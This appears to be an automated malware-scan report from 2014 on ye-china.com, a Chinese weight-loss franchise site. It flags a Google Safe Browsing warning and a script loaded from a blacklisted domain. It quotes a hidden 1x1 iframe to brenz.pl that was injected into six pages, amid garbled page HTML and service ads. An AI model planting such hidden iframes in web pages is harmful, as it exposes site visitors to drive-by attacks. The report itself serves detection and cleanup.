New scan:

Malware Scanner report for ye-china.com

Malicious/Suspicious/Total urls checked
0/6/15
6 pages have suspicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "ye-china.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/6/6
6 suspicious iframes found. See details below
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=ye-china.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://ye-china.com/
200 OK
Content-Length: 10086
Content-Type: text/html
suspicious
Page code contains blacklisted domain: www.csdian.net

...[571 bytes skipped]...
ÈÏß:400-0731-068ÊǼ¯´´ÐÂҽѧ¼õ·Ê¼°¿ÆѧÃÀÌåËÜÉíΪһÌåµÄרҵ¹«Ë¾·þÎñÏîÄ¿ÓÐ:¶ûÁ¢Êݼõ·Ê,¼õ·Ê·áÐØ,²úºóÁ½¸öÔÂÈçºÎ¼õ·Ê,ÈçºÎ¼õ·Ê²»·´µ¯,²»³ÔÒ©ÈçºÎ·áÐصÈ" />
<title>¶ûÁ¢Êݼõ·Ê¼ÓÃË¡¾¹ÙÍø¡¿,ÉϺ£¶ûÁ¢ÇÎ,½­ËÕ¶ûÁ¢¿µ,ºþÄÏ·áÐؼÓÃË,³¤É³¼õ·ÊÁ¬Ëøµê,ÃÀÈÝÊÝÉí¼ÓÃË,¼õ·ÊÊÝÉí¼ÓÃË,·áÐؼõ·Ê¼ÓÃË - ÒÁ¶ûÉí²Ä¹ÜÀíÆ÷,¼õ·ÊÖÐÐļÓÃË</title>
<link rel="stylesheet" href="/Template/Default/css/css.css" type="text/css" />
<script src="http://www.csdian.net/Style/Js/jquery-1.2.6.pack.js"></script>
<script type="text/javascript" src="/Template/Default/js/jquery-1.6.1.min.js"></script>
<script type="text/javascript" src="/Style/Js/Common.js"></script>
<script type="text/javascript" src="/Style/Js/dialog.js"></script>

<script type="text/javascript" src="/Template/Default/js/js.js"></script>
<script type="text/javascript" src="/Template/Default/js
...[3536 bytes skipped]...

Hidden iFrame found.
size: 1x1     
src: http://www.brenz.pl/rc/

<iframe style="height:1px" src="http://www&#46;brenz.pl/rc/" frameborder=0 width=1>

http://www.csdian.net/Style/Js/jquery-1.2.6.pack.js
200 OK
Content-Length: 31043
Content-Type: application/x-javascript
clean
http://ye-china.com/Template/Default/js/jquery-1.6.1.min.js
200 OK
Content-Length: 91342
Content-Type: application/x-javascript
clean
http://ye-china.com/Style/Js/Common.js
200 OK
Content-Length: 3790
Content-Type: application/x-javascript
clean
http://ye-china.com/Style/Js/dialog.js
200 OK
Content-Length: 14859
Content-Type: application/x-javascript
clean
http://ye-china.com/Template/Default/js/js.js
200 OK
Content-Length: 401
Content-Type: application/x-javascript
clean
http://ye-china.com/Template/Default/js/iepng.js
200 OK
Content-Length: 5237
Content-Type: application/x-javascript
clean
http://js.users.51.la/5044363.js
200 OK
Content-Length: 1978
Content-Type: application/x-javascript
clean
http://www.csdian.net/Style/Js/jquery.messager.js
200 OK
Content-Length: 4459
Content-Type: application/x-javascript
clean
http://ye-china.com/lxwm/p1
200 OK
Content-Length: 11522
Content-Type: text/html
suspicious
Page code contains blacklisted domain: www.csdian.net

...[466 bytes skipped]...
a name="description" content="ÁªÏµÎÒÃÇ,ÒÁ¶ûÉí²Ä¹ÜÀí¼ÓÃËÈÈÏß:400-0731-068ÊǼ¯´´ÐÂҽѧ¼õ·Ê¼°¿ÆѧÃÀÌåËÜÉíΪһÌåµÄרҵ¹«Ë¾·þÎñÏîÄ¿ÓÐ:¶ûÁ¢Êݼõ·Ê,¼õ·Ê·áÐØ,²úºóÁ½¸öÔÂÈçºÎ¼õ·Ê,ÈçºÎ¼õ·Ê²»·´µ¯,²»³ÔÒ©ÈçºÎ·áÐصÈ" />
<title>ÁªÏµÎÒÃÇ - ¶ûÁ¢Êݼõ·Ê¼ÓÃË_¶ûÁ¢ÇηáÐؼÓÃË_¶ûÁ¢¿µÑøÉú¼ÓÃË - ÒÁ¶ûÉí²Ä¹ÜÀíÆ÷,¼õ·ÊÖÐÐļÓÃË</title>
<link rel="stylesheet" href="/Template/Default/css/css.css" type="text/css" />
<script src="http://www.csdian.net/Style/Js/jquery-1.2.6.pack.js"></script>
<script type="text/javascript" src="/Template/Default/js/jquery-1.6.1.min.js"></script>
<script type="text/javascript" src="/Style/Js/Common.js"></script>
<script type="text/javascript" src="/Style/Js/dialog.js"></script>

<script type="text/javascript" src="/Template/Default/js/js.js"></script>
<script type="text/javascript" src="/Template/Default/js
...[3672 bytes skipped]...

Hidden iFrame found.
size: 1x1     
src: http://www.brenz.pl/rc/

<iframe style="height:1px" src="http://www&#46;brenz.pl/rc/" frameborder=0 width=1>

http://api.map.baidu.com/api?key=&v=1.1&services=true
200 OK
Content-Length: 317
Content-Type: text/javascript
clean
http://ye-china.com/zjye/p1
200 OK
Content-Length: 7829
Content-Type: text/html
suspicious
Page code contains blacklisted domain: www.csdian.net

...[526 bytes skipped]...
×ß½øÒÁ¶û,ÒÁ¶ûÉí²Ä¹ÜÀí¼ÓÃËÈÈÏß:400-0731-068ÊǼ¯´´ÐÂҽѧ¼õ·Ê¼°¿ÆѧÃÀÌåËÜÉíΪһÌåµÄרҵ¹«Ë¾·þÎñÏîÄ¿ÓÐ:¶ûÁ¢Êݼõ·Ê,¼õ·Ê·áÐØ,²úºóÁ½¸öÔÂÈçºÎ¼õ·Ê,ÈçºÎ¼õ·Ê²»·´µ¯,²»³ÔÒ©ÈçºÎ·áÐصÈ" />
<title>×ß½øÒÁ¶û - Éí²Ä¹ÜÀíÆ÷ÓÐÓÃÂð?¶ûÁ¢ÊݼÓÃ˵ê,²¸ÈéºóÈçºÎ·áÐØ,ÉÙÅ®ÈçºÎ·áÐØ,¶¬¼¾ÔõÑù¼õ·Ê×î¿ì - ÒÁ¶ûÉí²Ä¹ÜÀíÆ÷,¼õ·ÊÖÐÐļÓÃË</title>
<link rel="stylesheet" href="/Template/Default/css/css.css" type="text/css" />
<script src="http://www.csdian.net/Style/Js/jquery-1.2.6.pack.js"></script>
<script type="text/javascript" src="/Template/Default/js/jquery-1.6.1.min.js"></script>
<script type="text/javascript" src="/Style/Js/Common.js"></script>
<script type="text/javascript" src="/Style/Js/dialog.js"></script>

<script type="text/javascript" src="/Template/Default/js/js.js"></script>
<script type="text/javascript" src="/Template/Default/js
...[3606 bytes skipped]...

Hidden iFrame found.
size: 1x1     
src: http://www.brenz.pl/rc/

<iframe style="height:1px" src="http://www&#46;brenz.pl/rc/" frameborder=0 width=1>

http://ye-china.com/xmtj/p1
200 OK
Content-Length: 6479
Content-Type: text/html
suspicious
Page code contains blacklisted domain: www.csdian.net

...[542 bytes skipped]...
,ÒÁ¶ûÉí²Ä¹ÜÀí¼ÓÃËÈÈÏß:400-0731-068ÊǼ¯´´ÐÂҽѧ¼õ·Ê¼°¿ÆѧÃÀÌåËÜÉíΪһÌåµÄרҵ¹«Ë¾·þÎñÏîÄ¿ÓÐ:¶ûÁ¢Êݼõ·Ê,¼õ·Ê·áÐØ,²úºóÁ½¸öÔÂÈçºÎ¼õ·Ê,ÈçºÎ¼õ·Ê²»·´µ¯,²»³ÔÒ©ÈçºÎ·áÐصÈ" />
<title>ÏîÄ¿ÍƼö - ¶¬¼¾ÔõÑù¼õ·Ê×î¿ì,¶¬ÌìÓ¦¸ÃÔõÑù¼õ·Ê,¶¬ÌìÔõÑù¼õ·Ê×îÓÐЧ,¶¬ÌìÔõÑù¼õ·Ê,ÏÄÌìÔõÑù¼õ·Ê×î¿ì - ÒÁ¶ûÉí²Ä¹ÜÀíÆ÷,¼õ·ÊÖÐÐļÓÃË</title>
<link rel="stylesheet" href="/Template/Default/css/css.css" type="text/css" />
<script src="http://www.csdian.net/Style/Js/jquery-1.2.6.pack.js"></script>
<script type="text/javascript" src="/Template/Default/js/jquery-1.6.1.min.js"></script>
<script type="text/javascript" src="/Style/Js/Common.js"></script>
<script type="text/javascript" src="/Style/Js/dialog.js"></script>

<script type="text/javascript" src="/Template/Default/js/js.js"></script>
<script type="text/javascript" src="/Template/Default/js
...[3578 bytes skipped]...

Hidden iFrame found.
size: 1x1     
src: http://www.brenz.pl/rc/

<iframe style="height:1px" src="http://www&#46;brenz.pl/rc/" frameborder=0 width=1>

http://ye-china.com/xwdt/p1
200 OK
Content-Length: 8411
Content-Type: text/html
suspicious
Page code contains blacklisted domain: www.csdian.net

...[466 bytes skipped]...
a name="description" content="ÐÂÎŶ¯Ì¬,ÒÁ¶ûÉí²Ä¹ÜÀí¼ÓÃËÈÈÏß:400-0731-068ÊǼ¯´´ÐÂҽѧ¼õ·Ê¼°¿ÆѧÃÀÌåËÜÉíΪһÌåµÄרҵ¹«Ë¾·þÎñÏîÄ¿ÓÐ:¶ûÁ¢Êݼõ·Ê,¼õ·Ê·áÐØ,²úºóÁ½¸öÔÂÈçºÎ¼õ·Ê,ÈçºÎ¼õ·Ê²»·´µ¯,²»³ÔÒ©ÈçºÎ·áÐصÈ" />
<title>ÐÂÎŶ¯Ì¬ - ¶ûÁ¢Êݼõ·Ê¼ÓÃË_¶ûÁ¢ÇηáÐؼÓÃË_¶ûÁ¢¿µÑøÉú¼ÓÃË - ÒÁ¶ûÉí²Ä¹ÜÀíÆ÷,¼õ·ÊÖÐÐļÓÃË</title>
<link rel="stylesheet" href="/Template/Default/css/css.css" type="text/css" />
<script src="http://www.csdian.net/Style/Js/jquery-1.2.6.pack.js"></script>
<script type="text/javascript" src="/Template/Default/js/jquery-1.6.1.min.js"></script>
<script type="text/javascript" src="/Style/Js/Common.js"></script>
<script type="text/javascript" src="/Style/Js/dialog.js"></script>

<script type="text/javascript" src="/Template/Default/js/js.js"></script>
<script type="text/javascript" src="/Template/Default/js
...[3672 bytes skipped]...

Hidden iFrame found.
size: 1x1     
src: http://www.brenz.pl/rc/

<iframe style="height:1px" src="http://www&#46;brenz.pl/rc/" frameborder=0 width=1>

http://ye-china.com/qyry/p1
200 OK
Content-Length: 7760
Content-Type: text/html
suspicious
Page code contains blacklisted domain: www.csdian.net

...[466 bytes skipped]...
a name="description" content="ÆóÒµÈÙÓþ,ÒÁ¶ûÉí²Ä¹ÜÀí¼ÓÃËÈÈÏß:400-0731-068ÊǼ¯´´ÐÂҽѧ¼õ·Ê¼°¿ÆѧÃÀÌåËÜÉíΪһÌåµÄרҵ¹«Ë¾·þÎñÏîÄ¿ÓÐ:¶ûÁ¢Êݼõ·Ê,¼õ·Ê·áÐØ,²úºóÁ½¸öÔÂÈçºÎ¼õ·Ê,ÈçºÎ¼õ·Ê²»·´µ¯,²»³ÔÒ©ÈçºÎ·áÐصÈ" />
<title>ÆóÒµÈÙÓþ - ¶ûÁ¢Êݼõ·Ê¼ÓÃË_¶ûÁ¢ÇηáÐؼÓÃË_¶ûÁ¢¿µÑøÉú¼ÓÃË - ÒÁ¶ûÉí²Ä¹ÜÀíÆ÷,¼õ·ÊÖÐÐļÓÃË</title>
<link rel="stylesheet" href="/Template/Default/css/css.css" type="text/css" />
<script src="http://www.csdian.net/Style/Js/jquery-1.2.6.pack.js"></script>
<script type="text/javascript" src="/Template/Default/js/jquery-1.6.1.min.js"></script>
<script type="text/javascript" src="/Style/Js/Common.js"></script>
<script type="text/javascript" src="/Style/Js/dialog.js"></script>

<script type="text/javascript" src="/Template/Default/js/js.js"></script>
<script type="text/javascript" src="/Template/Default/js
...[3672 bytes skipped]...

Hidden iFrame found.
size: 1x1     
src: http://www.brenz.pl/rc/

<iframe style="height:1px" src="http://www&#46;brenz.pl/rc/" frameborder=0 width=1>


Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: ye-china.com

Result:
HTTP/1.1 200 OK
Cache-Control: private
Date: Thu, 04 Sep 2014 20:01:03 GMT
Server: Microsoft-IIS/7.5
Content-Length: 10086
Content-Type: text/html; charset=gb2312
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 2.0.0
X-Powered-By: ASP.NET

...10086 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: ye-china.com
Referer: http://www.google.com/search?q=ye-china.com

Result:
The result is similar to the first query. There are no suspicious redirects found.